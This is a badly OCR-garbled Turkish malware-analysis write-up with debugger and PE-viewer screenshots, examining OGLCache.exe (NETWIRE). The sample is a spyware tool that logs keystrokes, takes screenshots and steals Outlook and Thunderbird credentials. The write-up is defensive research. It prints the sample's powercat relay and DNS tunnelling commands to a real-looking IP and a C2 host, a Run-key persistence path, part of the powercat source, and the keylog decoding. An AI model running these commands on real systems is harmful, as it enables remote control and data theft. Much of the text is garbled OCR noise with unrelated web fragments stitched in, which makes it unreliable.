\177@\000\000% 000432304, 277@ 2324, 2421, 35011, 2341, 244 | 210131112211 224@", 354H\ 2761, 254) p, 3604, 204, 2601, 270
d "._24?"350".,340"._332"._DD4_F‘.'12DD"._221 L3504 300%\ 260PE, 3534 3574.m g 27443338253 }".,254".,3?3"._0330"._35?&5( 241
¥55\177@ 000\ 000\ 0D00Y 3320|4237, 303 "\ 354p)\ 224, 230 260\, 3471, 2201, 3604 276AHKY 2301, 2324, 313p "\ 210| 1 3774330
II._!EFT-"E"NESJLBE 2044336433434, 256, 3424 3400, 2400, 244, 3328, 221 3300\ 3008 v N"JE?".,B?E".,BE?E"._SEEEd4|::".,2D5".,251 F\357
\ 225512400\, 274\, 177 @\ 0004000\ 000, 220 22 2001, 207, 240 2425, 35001, 3328', 200k, 221, 3431, 2761, 2641, 223, 31401, 32
7360033640300 334, 303433500, 21 ?h"._345"._354'l\2?0j"._354L"._24Dk 37742360 340 "._ZDD"‘314| =4 2004334\ 375\ 316al\2
35, +1231\225\0361,251\364/ =0 2104 177@" 0004000\ 000" 330 3300, 312, 2441, 300,214, 256\, 347\ 246@ 3\ 324 pg ', 244
Y "._2?4"._34I}| U"LEZD"LZEDL'\_335| '134D"._35D_".,SZ?"._352'1214"._25?&9'._314"‘304"._314"._2552 0203144 320~d\ 330PY 2000, 374,
3563,235\0232, 1 :\2747F, 2031, 2211, 257, 3151,0202, 1 77@, 000 00040004, 2200, 2661, 246 T2\, 27713404, 252,177, 344\ 3
??Tp"._BED"._BES"._SDD"._S?E".LZDD"._24D"._24[:'"._353"._24[)"._25-[!!"._252"._251"‘331 20542000274 3624 2604 31447~ 331,352\ 230" 3
721,247\ 230321, 244", 235\ 256\, 2021, 327, 3474\ 2402\, 31 21,025, 273\, 202, 255\ 026, 201 =\ 023}, 235\ 251\ 177/@ 000",
0o0Y0ooY 3300340 < k36442700, 322%" D pﬁ.'\li 34642144, 2273024227\ 275\ 2634325\ 376\ 2200 317\ 334\ 2060, 2320, 3
25,205,265\ 351d" 364,242, 342, 272\ D06\ 214, 360', 2731, 253\, 3501, 204", 242\ 016\ 215\ 2329\, 306M\, 221, 303\, 202134
£\ 222%UN 22440244, 32743434, 215" 36041 7@ W Oooh 000N 000\ 330000, 220P =121 5"._2?4'1330!1 q V3724330842500 207\ 300",




T 1D - OBLCacheidb [OGLCache. exe) CAsers\Wiert\Desktop| 6L Cache idb = o - 18
Fle Edt Jump Semch View Debugger Options Windows Help

» D00 () 2 0DEEAF TrF S DeEyY 8

unk_ARE1 D

sub_woB11F :loc_REE15C

00 08 00 B0 00

Daha sonra statik analizden WriteProcessMemory fonksiyonunu
_riteProcessMemory degistirerek kendini gizlemeye calisip, sistem Uzerinde
calistirildiktan sonra GetLongPathNameA fonksiyonunu cok defa cagirarak
dinamik kod analizini zorlastirmaya calisan bir paketleyici (packet) ile
paketlenmis olan OGLCache.exe programini paketinden cikardim. Pestudio ile
inceledigimde bu defa haberlestigi ip adresinin yani sira, Powercat aracina
dair karakter dizileri (strings) ve tus kaydi yaptigina dair ipuclari elde
ettim. Ayrica hyd7u5jdi8 karakter dizisinden yola c¢ikarak art niyetli
kisilerin bu zararli yazilimi Agustos 2016'dan beri aktif olarak
kullandiklarini tespit ettim.


https://github.com/besimorhino/powercat
https://www.reverse.it/sample/25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8?environmentId=100

* BZ{ﬂ)g—ﬁ‘lz apﬂm— PID: 96C - Module: api..'.l..exe—;l"l-\mad:iﬂa Thread 730 =B @
File WView Debug Plugins Favourites Options Help Feb 252017

coE S0 I tuw@liemgs oy B2 h L B9ER P S

r A | Notes reakpoin emory Ma| " al i 2] i s rce " Ences >
B cru G | tlog Note: L ts | @ Memory Map Call Stack | =@ 5EH Script | %] Symbol <> Sou Refer ' TH
85 [test eax,eax =
L Hide FPU
~ OF |jne apti.40614E » |[Lnide
8D | Tea ebx,dword ptr ds:[425E78] _riteProcessMemory’, 4 EAX 00000000
53 | push ebx _riteProcessMmemory" i "
&6 |mov word ptr ds:[ebx],7257 _riteProcessMemory" EE gat2sbr k_r‘1t$Pr‘ucessl'-'lemur‘y
FF | push dword ptr ds:[425E56] ECX 77456014 ernel32.77456014
FF | €alll dword ptr ds:[<&GetProcAddresss] — | EDX 00530180
64| push 0 |_| EEP 0018FF88
64 | push & ESP 0018FF1C &"_riteProcessMemory"
FF | push dword ptr ds:[425E4A] ESI 004Z5EGE "kernel32.DLL"
68 | push apti.425E4A EDI 00000000
6A | push FFFFFFFF
isig pusn aptl. 402630 EIP 00402666 apti1.00402666
push eax
Cc3 | get
68| push apti.425EAC ;EL:GSPF 200222;5
6A | push E
68| push apti.425EAL 425EAL: "sxvugnnksd” OF 0 SF O DF 0O
2E | €81l dword ptr cs:[<&GetLongPathNameAs] CFO TFO IF1
83 | cmp eax,0
o ~ OF | jne apti.40614E LastError 00000002 (ERROR_FILE_NOT_FOUND)
| 8D | 1ea ecx,dword ptr ds:[425E4E]
{4 81| cmp dword ptr ds:[ecx],FFF GS 002BE FS 0053
! ~ OF |ja aptl.40614E ES D02B DS 002B
4 \ 81| cmp dword ptr ds:[425E4E],S50000 €S 0023 S5 002B
i ~ OF |ja aptl.40614E
G . g; ?gbagﬁ"ﬂoggs‘j“ [ecx],300 X87r0 00000000000000000000 STO Empty 0.00)
it Uit it = x87r1 00000000000000000000 ST1 Empty O.00
1 1 .

s i . 21 23?,”33;2,;‘;;,”3;Ffiggggg]’ap“'40‘5145 X87r2 00000000000000000000 ST2 Empty O.00)
| : LI
i 00| add byte ptr ds:[eax],al [ — ]
LS el . 00| add byte ptr ds:[eax],al |
e e 68 | push apti.425EAC ' + | Belmdtfstiel] v 5 (2] Unlocked
T : e | s 1: [esp+4] 00000000
= 2: [esp+8] 00000000

word Dtl'[ebx] [00425E78]=725F 3: [esp+C] 00000000
[esp+10] 00000000

.Text:00402666 aptl.exe:$2666 #1A66

? 3 00425E] “_riteProcessMemor
oump1 | @4 Dump 2 | Yy oump 3 | W4 Dump 4 I el Dump 5 | G watch 1 | éfJSWd| DDLEFF| 00000 . i
ASCIT i 0018FF( 000000
69 74|65 50 72 &F |63 65 73 7| LriteProcess 3313;; 888883
00 0O(0D O0 OO OO|00 OO0 OD O FY.awananaan DO018FF| 000000
62 72|61 72 79 57|00 73 78 7| Yibraryw.sxy 001 8FF| Q000000
&4 00|00 OO0 00 00|00 00 00 Of Ksd. Ea i I:I O018FF| QOO0
DA 53|35 B5 94 AD|S& DB 4B E| .[.0v5.. VOKg 00158FF| 00000
92 AG|(E9 DD 4D ED|DA 33 C8 3| ... ¥Mi03E3 it
it EFF| 000000
3E C1|3E 36 F9 07 |60 BC B4 4 0018
EFF| 000000
2A DC|C3 BE E5 22 |E5 E4 AD 001EFF| 0OODO0 F
90 F7|BE F5 4B BA (D8 8E 25 7| = |_I
DO1EFF| 000000
85 33|11 0D BZ A3 |97 D5 BE 1 0O018FF| 00000
99 23|DC 32 74 AZ|CA B2 OF 1 T || antzeel annnno %
L 3 4 n »
Command: Default
| Paused |zpt1.ewe- 00425678 - 00425678 (0x00000001 bytes) | Time Wasted Debugging: 0:00:07:05
%% x32dbg - File: aptl.exe - PID: 81C - Module: aptl.exe - Thread: Main Thread B40 [P | [z

File WView Debug Plugins Favourites Options Help Feb 252017
c9E 0ttt Blemggshlacrv BeeEe¢2h oL B9F5RK R0
B cru | @Graph | | #Log | L,JNohes | ® Breakpoints | B Memory Map | [ call Stack | =3 SEH | Jt3] Seript | gSymbols | <2 Source | - References | ‘#Tﬁ@

e[ D0404aDEZ C0 05[] add eax,5 2
o[ no404pES e push <apti.sub_404DEC> Hide,EEl
®| 00404DEA FF 20 jmp dword ptr ds:[eax]
Ele r. 59 pop ecx sub_404DEC Eg gggggggg
([ 00404DED . 85 cCO test eax,eax Eal e LA
------ s (| D0404DEF .~ OF B4 59 je aptl.40614E
¢| 00404DF5 . 29 FF sub edi,edi His oomLh
o | 0o404DF7 . 4F dec edi EEP  0D18FF&38
® | 00404DF8 L GPASER, and edi,eax ESF  DO18FF1C
e[ 00404DFA e push edi ESI 00425418 aptl.00425418
r---»e| o0404DFE > 8B 06 mov eax,dword ptr ds:[esi] EDI 0025000C
! ® || D0404DFD . 8D 76 04 lea esi,dword ptr ds:[esi+4]
! ® | 00404E00 - FZ DO not eax EIP  00404E0D apti.00404E0D
! e[ D0404E02 . 83 E8 10/ sub eax,10
i e[l n0404E05 . C1C8 02/ror eax,2
1 e[ 00404E08 . C1 C8 0§ ror eax,& @ ;ELSGSPF 20022235
0 ® || 00404EOB . 31 D8 xor eax, ebx J
Eig————>s || 00404E00 ||. FB clc OF R0 o LB E )
i o 00404E0E ||. 83 D8 01 sbb eax,1 AR
I ®| D0404E1L . 80 18 Tea ebx,dword ptr ds:[eax]
| e| 00204E13 . €1 C3 02 rol ebx,2 LastError 00000002 (ERROR_FILE_NOT_FOUND)
1 e[ 0os404E16 . €1 C3 0§ rol ebx,6
! e[ oo404E19 . 50 push eax GS 002B FS 0053
' ! #| D0404E1A . 8F 07 pop dword ptr ds:[edi] ES 002E DS 002B
! e | 00404E1C & F8 =l . CS 0022 SS 002B
i ¢ D0404E1D . 83 DF FC sk11b edi, FFFFFFFC
i e[ 00404E20 . Fs8 clc
; |t . 82 D9 04 sbb ecx, 4 x87r0 00000000000000000000 STO Empty O.00
! 4| GaanaEsq . 83 F9 00 emp ecx.0 x87r1 00000000000000000000 ST1 Empty O.00
e 00202E327 . 7t D2 jne apti A404DFE A87r2 00000000000000000000 ST2 Empty O.00
e| oos04e29 |[|. 5F pop edi [ ——— ]
® | DO404E2A . Al 08 20/ mov eax,dword ptr ds:[<&GetModuleHandleA>
of ooso02e2e [l. s0 bush eax & ; : ~ |[Default (stdcal)
< T | s 1: [esp+4] 00000000
2: [esp+8] 00000000
3: [esp+C] 00000000
[esp+10] 00000000

.Text:00404E0D aptl.exe: $4E0D #4200 <sub_404DEC+21>

; 00250000
84 pump 1 | 84y Dump 2 | §4Dump 3 | §4Dump 4 I &4 Dump 5 | B wiatch 1 | éfJSWCt| %oooooooo i
Addres| Hex ASCII | P015FF| 00000000

001EFF| 00000000
001EFF| 00000000
001EFF| 00000000
0018FF| 00000000
001EFF| Q0000000
0018FF| 00000000
001EFF| 00000000
001EFF| 00000000
O01EFF| 00000000 |
00158FF| 00000000 LJ

- || @O1EFF| 00000000
nniae el nnonnnnn

3 4 1 3

Command: I o ) Default

| Running | Dump: 00250000 -> 00250000 (0X00000001 bytes) | Time Wasted Debugging: 0:00:25:05

002500{8B 74 24 04|55 EB AF 01|00 00 58
002500(00 00 OO0 00|00 OO0 00 00|00 00 OO0
002500(00 00 OO0 00|00 OO0 00 00|00 00 OO0
002500( 00 00 OO0 00|00 OO0 00 00|00 00 00
002500(00 00 OO0 00|00 OO 00 00|00 00 00
002500(00 0O OO0 0QOO|00 OO 00 00|00 00 OO0
002500( 00 00 OO0 C0O|00 OO0 00 Q0|00 00 OO0
002500(00 00 OO0 00|00 OO0 00 00|00 00 00
002500(00 00 OO0 00|00 OO0 00 00|00 00 OO0
002500( 00 00 OO0 00|00 OO0 00 00|00 00 OO0
002500{ 00 00 OO0 00|00 OO0 00 00|00 00 00

a I

hCH.Ue .. .XFA

oooooDoOooowWm

-




- - " — — s e — ; |
. J®| | « LocalDisk (C) » Users » Mert » AppData » Roaming » AMD = [ 43 ||| Search aMD o]

P — e e [

Organize « | ] Open Share with « Mew folder

< Favorites MName Date modified Type Size
B Desktop || default.conf 03.03.2017 13:50 CONF File 1KB
4 Downloads [ OGLCache.exe 05.03.2017 10:45 Application 156 KB
?_-:l- Recent Places | i_| 0GLCache.exe.bak 28.02,201510:02 BAK File 302 KB
=) Libraries

@ Documents

JF Music
[&=| Pictures
i Videos

18 Computer

ﬁ Metwork

OGLCache.exe.bak Date medified: 28.02.2015 10:02
BAK File Size: 301 KB

Date created: 06.03.2017 12:49

P

—ad indicators (3/14)
¥Y virustotal (n/a)

dos-stub (64 bytes)
file-header (20 bytes)
optional-header (224 bytes)
directories (2)
sections (4)
libraries (2/8)
imperts (161)
exports (n/a)
exceptions (n/a)

glcache.exe

size location  blacklisted (200)  item (1300) =
VB
powercat -¢ 10111 -p 53 -dns c2.example.com
powercat =| -p 8000 -r dns:10.1.1.1:53:c2.example.com
cmd.exe fc et i y -Exec y Bypass -Scope Process -Force...
FMWINDIR %
%\ systemn32 cmd. exe
checkip.dyndns.org
Hest: checkip.dyndns.org
User-Agent: Morilla/5.0 (Windows NT 6.3; WOWS; Trident/7.0; rv11.0) ike Gecko
Accept: text/html applic applicati p.""q=08
Accept-Language: en-US en;q=08 |
WTEMPS:
84.200.2.12:443;
%TEMP3\loopc.cmd
CAWindows\system3Zicmd.exe
psaprdil
GetModuleFileMameEx
ns.exe
System
SetThreadExecutionState
ChWindows\system3Dcmid.exe
SOFTWARE\Microsof\Windows\ Version\Runh
SOFTY rosoftiActive [« s\
Secur32.dil
LsaGetlogonSessionData
LsaEnumeratel ogonSessions
psapidll
GetModuleFileMameEx
ERMNEL32.DLL
winhttp.dil
WinHttpOpen
WinHttpGetProxyForlrl
WinHttpCloseHandle
W <l ryConfigForC
GetMativeSysteminfe
ProductType
SYSTEM\CurrentC reductOptions
WINNT
LANMANNT i

o

OOoDoDOoDDODDOD

tis-callbacks
B resources (n/
ake

% debug (n/a)
& manitest (n/a)
{58 file-version (n/a)
(5] certificate (n/2)
[ overlay (n/a)

MM M M O3 M MO X W OX X MW X XN M M OX M ON MK XN XN NNXMNXXMNNKXKNDXN




File Help
LA
=87 clusersimert\desktop\decoded_maba | ype size location  blacklisted (200)  item (1300) &
a; |ndicncrls 314) i 4 i _ <L)
virustotal (n/a =
t‘ dos-stub (54 bytes) = 2 2 i
DO file-header (20 bytes) el . i : S _
o upliuml'h“d“'[zz‘ bytes) ascii 17 - - function powercat
O directories (2) ascii 8 - - parami
O stlons ) ascii £ - (alias("Client")[string]Sc="",
O libraries (2/8) ascii k- g . [alias{ Listen")][switch]$i=SFalse,
O imports (161) ascii 57 3 — [alias("Port")|[Parameter{Pesition=-1)][string]Sp="",
O exports (n/a ascii 3% [alias("Execute )] [string)Se="",
o ascii 51 [alias("ExecutePowershell")Jlswitch]Sep=SFalse,
ot ascii M (alias("Relay")](string]$r="", 1l
-l ascii % [alias{"UDP")][switch]Su=$Falze,
ascii ] [alias{"dnscat2")][string]$dns="",
i d ] ascii 51 [alias("DNSFailureThreshold")][int32]Sdnsft=10,
B manifest (n/2) ascii 35 - [alias{ Timeout")[[int32]5t=60,
{4 file-version (n/2] ascii &5 - E [Parameter{ValueFromPipeline=§ True)|[alias( Tnput”)]Si=Snull,
[ certificate (n/a) ascii 8 - - [ValidateSet('Host', "Bytes’, “String'J][alias("OutputType")][string]So="Host",
2 oveday (na) ascii a0 . [alias("OutputFile")][string]Sof="",
ascii 2 - < [alias{ Disconnect”)][switch]Sd=$False,
ascii 43 - = [#lias{ Repeater)[switch]Srep=SFalse,
ascii 15 y = [alias(" GeneratePayload" )] switch]Sg=SFalse,
ascii 49 . [alias("Generatefncoded"))[switch)Sge=3False,
ascii % . . [alias{"Help")][switch]Sh=$False
ascii - - 5 HELP
ascii u 5 g SHelp ="
ascii 41 =} powercat - Netcat, The Powershell Version
ascii 58 - - Github Ref psiig 2 ing/ pi
ascii n - = This seript attempts to implement the features of netcat in 3 powershell
ascii 173 2 - script. It also contains extra features such as built-in relays, execute
ascii 2 - powershell, and a dnscat? client.
ascii % - - Usage: powercat [-c or -I] [-p port] [options]
secii 83 - - -¢ <ip> Client Made. Provide the IP of the system you wish to connect to.
el = g ascii &3 . . I you are using -dns, specify the DNS Server to send queries to, =

= clusersimert\desktop\decoded malu | fype size location  blacklisted (200) item (1300)
Al dicators (14) unicode 15 . - UninstaliString
'L]dltlvs uh{ﬁ-\t:;.ym] unicode 14 - - DisplayVersion
O file-hesder 20 brtes) unicode 9 - - Publisher
o outional-hudu'tzzi bytes) unicode 20 = = QuietUninstallString
O directories (2) umcode b - - %.2d/%.2d/%d %.2d:%.2d:%.2d
O sections (§) unicode 28 - : L df% d/%d %2d:%2d:%2d
O fibraries (2/8) unicode 5 = : %
0 imports (161) wnicode 13 - - IntemetProxy
O exports (n/2) unicode 8 - y % %os sy
O exceptions (nfa) unicode 15 - S BB s s
O tis-callbacks (n/a unicode 3 = = sl s
unicode 5 - - Fos%sh,
unicode 4 Sasths
unicode 5 - - W%
unicode 3 = = %85:%d
file-v /a) unicode 36 - - [%s] - [%2d/%.2d/%d %2c:%.2ck%.2d]
certificate (n/a) unicode 1 - - {Backspace}
L] overlay (n/a) unicods 3 = : {Return}
unicode 5 - - {Tab}
unicode 12 - {Amrow Left}
unicode 10 - - {Amow Up}
unicode 13 - - {Asrow Right}
wnicode 12 - {Asrow Down}
unicode [ - . {Home}
unicade 9 - {Page Up}
wnicode 1 - - {Page Down}
unicode 5 - - {End}
unicode 7 - - {Break}
unicode 8 3 = {Delete}
unicode 8 - - {Insert}
unicode 14 - {Print Screen)
unicode 13 = < {Scroll Lock}
unicode n - 5 {Caps Lock)
unicode 5 {Alt)
unicode 5 {Esc)
unicode 9 = {Carl+%%e)
unicode 4 {%s)
unicode 4 2K
7l = + | unicode 5 - - s\ %s

Dinamik kod analizine devam ettigimde, calisan

ns.exe isimli (Norton Security oldugunu tahmin

4

islemler (process) arasinda
ediyorum.) islemi gdérduginde,

%TEMP% klasoriine olusturdugu loopc.cmd isimli toplu islem dosyasi (batch) ile

Powercat aracini calistirarak (powercat -1 -p 4000 -r tcp:84.200.2.12:443;)
4000. baglanti noktasi (port) ile 84.200.2.12 ip adresine 443. baglanti
noktas1i arasinda relay yapabildigini gérdim. Asil amacim, zararli yazilimin

cekirdegine yani tim fonksiyonlarin cagrildigi ana fonksiyona ulasmak ve

zararli yazilimin yeteneklerini 6grenmek oldugu icin analiz etmeye devam



ettim. Fonksiyonlar arasi gezinirken c¢ok gec¢meden IDA’nin grafik gérinumid ile
00405AB3 adresindeki ana fonksiyona ulastim. Bu fonksiyon altindan cagrilan
diger fonksiyonlara hizlica baktigimda bunun uzaktan sistemi ydonetmeye imkan
taniyan ve buna ilaveten tus kaydi yapabilen, ekran goérintisi alabilen ve
Outlook, Thunderbird profillerinde yer alan kullanici adi ve parola

bilgilerini de calabilen bir casus yazilim oldugunu 6grenmis oldum.

File Edit Jump Search View Debugger Options Windows Help
SH e BEh B ) o @O bt X > D D (nodebuoger BRGIC N ol
: [/ | 11 | z

M Lbrary functon [ Data [l Regular function  Unexplored [l Instruction [l Extemnal symbol

Tchuorewndow o8 X _:| IDA View-A f_j _E'sa-ngswndw §| Hex View-1 | .&l- Structures | :I Enurms ‘ ¥E] Imports

Function name =

£ sub_401000 -

sub_401319
] sub_40136C

| sub_d024E7

| sub_40258E . .
! sub_402600 ; jumptable BOHO5AEC case 89
f b Moo j short loc_ k87297 ; int

: int
x » eax ; SOCKET
sub_k19F69 outlook profilinde yer alan k.adi we parolalari caliyor.
short loc_h@

b, Graph overview O f x

R =

(VRS TEE RN b TRV O LT L LD R TR

T

IIII[III

100.00% (18E02,5620) (235,7) 0000661C 0040721C: sub_405AB3I+1769 (Synchronized with Hex View-1)

[E] Output window o0& x
Command “JumpOpXref" failed -
AU: idle Down Disk: &GB

0104061 Coche v € g O g AN e -2 N -
File Edit lump Seswch View Debugger Options Windows Help
AH E-- BNA S ) e A0 A A X > DD ke =] =@ W

[ | et ' _________________________________________________________4

I Levary furction B Dats M Regular function  Unespiored Il Instructon I Extesmal symbaol

oa& x| D4 Vi 0 |5 suogs widow (=] Hex el
E
text
test

test

(UINT wUirtkey)
bext vy
tet

tet

tet

tea




W 10w - OGLCache exe Clizersh Arp s Foameg AMOADGL Lache
Fle Edt Jump Sewch View Debugger Options Windows Help

S - BNE S ) e RO A -2 X P OO [edepe =) =B M0
el I ... @
I Lvary furzon [ Data [l Repuisr fincion  Unexpiored [l instruceon [l Extemal symbol
(7] urcis a & x| Erws. @ | [ i3] i o] @ i [0 [& 5 (& ) T

Functicn e Segp *
7 sub_401000 to

7] sub_801085 test
LF] sub_801288 teat
£ sub sz to
7] sub_to136¢ bet
7] sub_8019C1 et
| sub_4019FC ot
7] sub_songsé test
f] sub_801D0A text
7| sub_41FSF ot
7] sub_s2068 test
A020FF text
oz text
40132 test
) $003T7 text
7| sub_8024ET et
7] sub sarsee test
¥ . bt
7] sub_s0 bet
Sd Y + 1) IFFFFFFFC) » bmi b
text
rext
test
text
text
tet
bt
text
tet
tet
tet

ch time. Afte hours of reading over O Podast #103 Grandma, & that you?
erstand how this process works
W The two goals are to create the screen in memory 1o be passed to another function and to be able to

capture anly selected parts of the screen given (xy) cocrdinates

MMLanScan for iOS

A phug n' play
network r
library for all

0 this is 3 irivial thing it woukd not surprised but would il greatly

Contribute on o

Wanta pyinon job?

Projec
100%

t n of Experts
f

Related

‘You're “repefitively new”? You mean you keep stanting aver, forgetting what you leamsd bedore? - Bamar

| think the hCaptureBitmap variablo Contans the SCreen Capure data. You £an do whatever you want with
that. - Baem

Analizimi tamamlamadan Once zararli yazilimda yer alan fakat analizim
siresince devreye girmeyen tus kaydindan sorumlu olan fonksiyonu bulup,
hizlica g6z atmaya karar verdim. 0041572C adresinde yer alan tus kaydindan
sorumlu olan fonksiyonu tespit ettikten sonra programin akisini degistirerek,
akisin bu fonksiyona devam etmesini sagladim. Ardindan sistem lzerinde
bastigim her tusun (AAAAAAAAAAAAA..), AMD klasorinde dosya adi tarihten olusan
bir dosyaya (-08-03-2017) kayit edildigini goérdidm. Okunakli olmayan bir
dosyanin sifrelemesini de c¢ézmek icin fonksiyona kisaca g6z attigimda,
dosyaya yazilan her bir baytin ilk olarak 9D hex degeri ile XOR isleminden
gecirilip ardindan da ¢ikan degere 36 sayisinin ekledigini gordim. Hex
Workshop Hex Editor araci ile tus kaydinin saklandigi dosyada ters islem (-36
~ 9D) yaptigimda ise okunakli olmayan bastigim tus bilgilerini okunakli hale
cevirebildim.


http://www.hexworkshop.com/overview.html
http://www.hexworkshop.com/overview.html

W DA - OGLCacheidb (OGLCache.ene) C\Users\Mert\Desktop| OGL Cache ity m—
Help

Fie Ed2 Jump Sessch Veew Debugger Options

»DD0 «F 3

I Lrary function [ Dot [ Rrguler functon [l Urespored I
A Gonon soenn oe# x

[LTTTITT
[LLTTITT
o

/e copy \EseN

ub_w161

< >
I direct inpu 1o this YL reove thee o er ingid
% DA GELCacheidb (O Cache.

File Edt Jump Sesch Veew Debugger Oy

» DO * [ Duy 8
I Lirwry fncion [l Dots [ Recuisr functon [l Unespiores [l
Ot Ve a @ Stushres 4] Enum
T P o)

021BFIRE
5 TT2086F

dword ptr S DA1SF77
word pt
duword ptr

LCacheme 00800000 000500

@ 2 b [
[ ] w2 18

@ B0 8
o0 oo w00
oo oo o
(TR

0 00 08

[T

To direct inpat o this ¥




w2
o
TR

(0 Hex Worshop - s - s =
Ey File Egt Disk Options Tools Plug-ins Window belp <

==Y AE| 9 ness o ~PS wEHe=
Pallh: ) Mo @ |Leosyaso

» 0O e[ = Lo @I I & DHY B

| Dt Inspectar s
Data at offsct Dc0OBR512:

intd &
wingd 65
i1 65
6
4259205
4759905

T
Signed | |32 bt ~

= 2 |7 0instances of ‘sirings* found in CAUsErsMertAppDataiRoamInglAMDT D

* Member %) Vabue tdec) & Vae ey #  Soe M [ Y[ Address ®) Lengeh 5 Length %

|7 Hcompars | W oo MFnd [ & tocimaris | ([T

Corsor D00005M6  Caret DOOODSIZ  24TID bytes VR MOD

o0 99 00 08 B0 08 00
o0 49 00 08 00 A8 00
o

To direct inpus 10 this YM, mave the mouse pointer inside o poess Ctri+G. By =

Sonu¢ itibariyle organize siber suc¢ cetelerinin hedef aldiklari kurumlara
saldirirken devlet destekli (nation state) siber saldirganlardan c¢ok da geri
kalmadiklarini gorebiliyoruz. Citayi her daim yukseltelen siber
saldirganlarla micadele adina FireEye (Mandiant)‘in da raporunda yer verdigi
uzere O0zellikle finans kurumlarinin guvenlik ve insan yatiraimlarini
arttirmalari buylk 6nem kazaniyor. Son olarak eski FBI baskani Robert
Miller’in “Dinyada iki cesit kurum var; Bir, hacklenenler, iki, hacklenecek
olanlar” soézinu hatirlatarak, bir sonraki yazida gorismek dilegiyle herkese
guvenli gunler dilerim.

Not:


https://www.fireeye.com/

Bu yaziya konu olan APT grubu henliz bilinmemekte olup, konu olan zararli
yazilim ise FireEye firmasinin Mayis ayinda yayinlamis oldugu EPS Processing
Zero-Days Exploited by Multiple Threat Actors blog yazisinda NETWIRE olarak
isimlendirilmistir.

Bu yazi ayrica Pi Hediyem Var #11 oyununun c¢O6zum yolunu da icermektedir.

Character Distribution

Color Mapping ot & b 5
Comas S e
Generate Checksum., 1 el 1 c1 1
Find Sirings oo = : iy i
16 22 0 11 2
ci c1 c c ci c1
03 0z F 22
T ! El 3 e 17 en
D 5 Changas) C cB o E4 Bd BB
3 + Add 5
B 08032017 * Multiphy
" Il I - - |
% Structures %, Mod | & |« Find Results 1]
Mesnber 1) b FJ ue (hes) & M a Length B
|
£
§ D conpare | M croomn BhFra | 4 sonmarts | Moo
Subtract Cursor: 000002 Caret 0000000 500 bytes OV
L]
-]
ISHEH2B ANDAEF2¢ BABRY © PG %% 0
Callh:) %ol @B oo
= | Eotn dnapector re
a at offset (00D00000;

5

haif float
ficat

| douite
v esson Calc ®
[Signed 32 bit
Descaption | =
B ceaan? Eso.latue.&;ulu data with pous dsts menun arothes value fdats = |
7 Stuctures o= ] Geprenzany | n
| Member %) Valuse (dec) 4 Value thes) Tosst Dtn At |8 Bk Umigned Bl =] Lensgth 15 Length %)
Sk o [ RERERRIE Cren
Vo [ T
T
Apply O
®) Salachon () Entre Fie
i
i
i L Xy e T pr— Ty

Ready Curson 0000006 Caret CODCOOO0  Sek 00OCOTF4 QWL


https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html
https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html
https://www.mertsarica.com/pi-hediyem-var-11/
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) Hex Workshop - [T \Users\Mest Desktoph APT\-08-03-2017]
B File Edx Disk Options

Took  Pluging Window Help
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L] hop
B File Ed2 Duk Options Tesh Plugles Window Help -

O R
9 1 2 3 4 5 6 7 B 5% A B C D E F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 0123456789ABCDEF0123456789ABCDEF012

j00000000 OD 00 OA 00 OD 00 OA 00 SB 00 43 00 3A 00 SC 00 57T 00 €9 00 GE 00 €4 00 6F 00 77 00 73 00 SC 00 73 00 79 e [.c A W.i.n.d.o.w.s.\.5.¥ A
j00000023 00 73 00 74 00 65 00 €D 00 33 00 32 €0 5C 00 €3 00 6D 00 64 00 2E 00 €5 00 78 00 €5 00 Sp 00 20 00 2D 00 .s.t.e.m.3.2.\.c.m.d...e.x.e.].
jo0000046 20 00 SB 00 30 00 38 00 2F 00 30 00 33 00 2F 00 32 00 30 00 31 00 37 00 20 00 31 00 3% 00 3A 00 34 00 38 ‘[AG.G‘I‘DAB./.2‘D11\7. «1.9 4.8
j0O0000ES 00 3A 00 32 00 36 00 SD 00 0D 00 OA Q0 78 00 43 00 €1 00 70 00 73 00 20 00 4C 00 6F 00 €3 00 €B 00 7D 00 .:.2.6.).....{.C.3.p.8. .L.0.€.k.}.
joooo008c 54 00 7B 00 43 00 €1 00 70 00 73 00 20 00 4C 00 €F 00 €3 00 6B 00 7D 00 65 00 62 00 72 00 €9 00 6B 00 6C T.{.C.a.p.s. .L.o.c.k.}.a.b.r.i.k.1
— J000000AF 00 €5 00 72 00 20 00 31 00 31 00 2E 00 20 00 7B 00 43 00 61 00 70 00 73 00 20 00 4C 00 &F 00 €3 00 6B 00 .e.r. .1.1...

j000000D2 7D 00 50 00 7B 00 43 00 €1 00 70 00 73 00 20 00 4c 00 6F 00 63 00 €B 00 7D 00 6% 00 20 00 7B 00 43 00 61 }.P.{.C.a.p.s.
j000000FS 00 70 00 73 00 20 00 4C 00 6F 00 63 00 6B 00 7D 00 48 00 7B 00 43 00 €1 00 70 00 73 00 20 00 4C 00 éF 00 .p.s. .L.o.c.k.).H.{.C.a.p.s.
00000118 €3 00 éB 00 TD 00 €5 00 €4 00 €5 00 79 00 65 00 €D 00 20 00 7B 00 43 00 61 00 7O 00 73 00 20 00 4C 00 6F c.k.}.e.d.i.y.e.m. .{.C.a.p.5. .L.o
j0000013E 00 €3 00 &B 00 7D 00 S6 00 7B 00 43 00 61 00 70 00 73 00 20 00 4C 00 &F 00 &3 00 6B 00 7D 00 €1 00 72 00 .c.k.}.V.{.C.a.p.s. .L.o.c.k.}.a.zr.
JOC0O001SE 20 00 €F 00 79 00 75 00 €E 00 75 00 €E 00 €4 00 €1 00 20 00 €4 00 €F 00 1F 01 72 00 75 00 20 00 79 00 61 «0.¥.u.n.u.n.d.a. .d.0...T.U. .¥.3

joo000181 00 6E 00 69 00 74 00 €9 00 20 0D 62 00 75 00 6C OD €4 00 75 0O 6F 00 20 00 3A 00 29 00 OD 00 OAR 00 OD 00 .m.i.e.i. .b.u.l.d.w.m. .:z.).

j000001A4 OA 00 SB 00 41 00 4D 00 44 00 SD 00 20 00 2D 00 20 00 SB 00 30 Q00 38 00 2F 00 30 00 33 00 2F 00 32 00 30 ..[.A.M.D.] - [.0.8./.0.3./.2.0

boooo1ca 00 31 00 37 00 20 00 31 00 39 00 3a 00 34 00 38 00 3A 00 34 00 38 00 SD 00 OD 0O OA 00 7B 00 43 00 74 00 1.7, .1.9.f.4.8.%.4.8.0u000elsCats

posooiea 72 00 6c 00 28 00 43 00 7D 00 £.1.4.€.1. b

B ®nar
e .. . ————————
